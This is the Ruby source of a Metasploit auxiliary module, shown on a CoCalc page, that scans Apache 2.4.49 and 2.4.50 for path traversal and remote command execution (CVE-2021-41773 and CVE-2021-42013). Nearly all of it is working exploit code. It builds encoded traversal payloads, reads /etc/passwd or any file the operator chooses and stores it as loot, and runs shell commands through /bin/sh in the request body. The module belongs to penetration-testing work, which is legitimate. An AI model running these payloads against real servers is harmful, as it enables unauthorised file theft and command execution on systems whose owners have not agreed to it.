CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/apache_normalize_path.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::Scanner
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',
16
'Description' => %q{
17
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
18
If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,
19
it can be used to execute arbitrary commands (Remote Command Execution).
20
This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
21
},
22
'References' => [
23
['CVE', '2021-41773'],
24
['CVE', '2021-42013'],
25
['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],
26
['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],
27
['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],
28
['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],
29
['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']
30
],
31
'Author' => [
32
'Ash Daulton', # Vulnerability discovery
33
'Dhiraj Mishra', # Metasploit auxiliary module
34
'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)
35
],
36
'DisclosureDate' => '2021-05-10',
37
'License' => MSF_LICENSE,
38
'DefaultOptions' => {
39
'RPORT' => 443,
40
'SSL' => true
41
},
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'Reliability' => [REPEATABLE_SESSION],
45
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
46
},
47
'Actions' => [
48
[
49
'CHECK_TRAVERSAL',
50
{
51
'Description' => 'Check for vulnerability.'
52
}
53
],
54
[
55
'CHECK_RCE',
56
{
57
'Description' => 'Check for RCE (if mod_cgi is enabled).'
58
}
59
],
60
[
61
'READ_FILE',
62
{
63
'Description' => 'Read file on the remote server.'
64
}
65
]
66
],
67
'DefaultAction' => 'CHECK_TRAVERSAL'
68
)
69
)
70
71
register_options([
72
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),
73
OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),
74
OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),
75
OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])
76
])
77
end
78
79
def exec_traversal(cmd)
80
send_request_raw({
81
'method' => Rex::Text.rand_text_alpha(3..4),
82
'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),
83
'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"
84
})
85
end
86
87
def message(msg)
88
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
89
end
90
91
def pick_payload
92
case datastore['CVE']
93
when 'CVE-2021-41773'
94
payload = '.%2e/'
95
when 'CVE-2021-42013'
96
payload = '.%%32%65/'
97
else
98
payload = ''
99
end
100
101
payload
102
end
103
104
def read_traversal
105
send_request_raw({
106
'method' => 'GET',
107
'uri' => normalize_uri(@target_uri, @traversal.to_s)
108
})
109
end
110
111
def run_host(ip)
112
@proto = (ssl ? 'https' : 'http')
113
114
case action.name
115
when 'CHECK_TRAVERSAL'
116
@target_uri = datastore['TARGETURI']
117
@traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'
118
119
response = read_traversal
120
unless response
121
print_error(message('No response, target seems down.'))
122
123
return Exploit::CheckCode::Unknown
124
end
125
126
if response.code == 200 && response.body.include?('root:x:0:0:')
127
print_good(message("The target is vulnerable to #{datastore['CVE']}."))
128
129
vprint_status("Obtained HTTP response code #{response.code}.")
130
report_vuln(
131
host: target_host,
132
name: name,
133
refs: references
134
)
135
136
return Exploit::CheckCode::Vulnerable
137
end
138
print_error(message("The target is not vulnerable to #{datastore['CVE']}."))
139
140
return Exploit::CheckCode::Safe
141
when 'CHECK_RCE'
142
@traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
143
rand_str = Rex::Text.rand_text_alpha(4..8)
144
145
response = exec_traversal("echo #{rand_str}")
146
unless response
147
print_error(message('No response, target seems down.'))
148
149
return Exploit::CheckCode::Unknown
150
end
151
152
if response.code == 200 && response.body.include?(rand_str)
153
print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
154
report_vuln(
155
host: target_host,
156
name: name,
157
refs: references
158
)
159
160
return Exploit::CheckCode::Vulnerable
161
end
162
print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
163
164
return Exploit::CheckCode::Safe
165
when 'READ_FILE'
166
fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
167
168
@target_uri = datastore['TARGETURI']
169
@traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
170
171
response = read_traversal
172
unless response
173
print_error(message('No response, target seems down.'))
174
175
return Exploit::CheckCode::Unknown
176
end
177
178
vprint_status("Obtained HTTP response code #{response.code}.")
179
if response.code == 500
180
print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
181
report_vuln(
182
host: target_host,
183
name: name,
184
refs: references
185
)
186
end
187
188
if response.code == 500 || response.body.empty?
189
print_error('Nothing was downloaded')
190
191
return Exploit::CheckCode::Vulnerable if response.code == 500
192
end
193
194
if response.code == 200
195
vprint_good("#{peer} \n#{response.body}")
196
path = store_loot(
197
'apache.traversal',
198
'application/octet-stream',
199
ip,
200
response.body,
201
datastore['FILEPATH']
202
)
203
print_good("File saved in: #{path}")
204
205
report_vuln(
206
host: target_host,
207
name: name,
208
refs: references
209
)
210
211
return Exploit::CheckCode::Vulnerable
212
end
213
214
return Exploit::CheckCode::Safe
215
end
216
end
217
end
218
219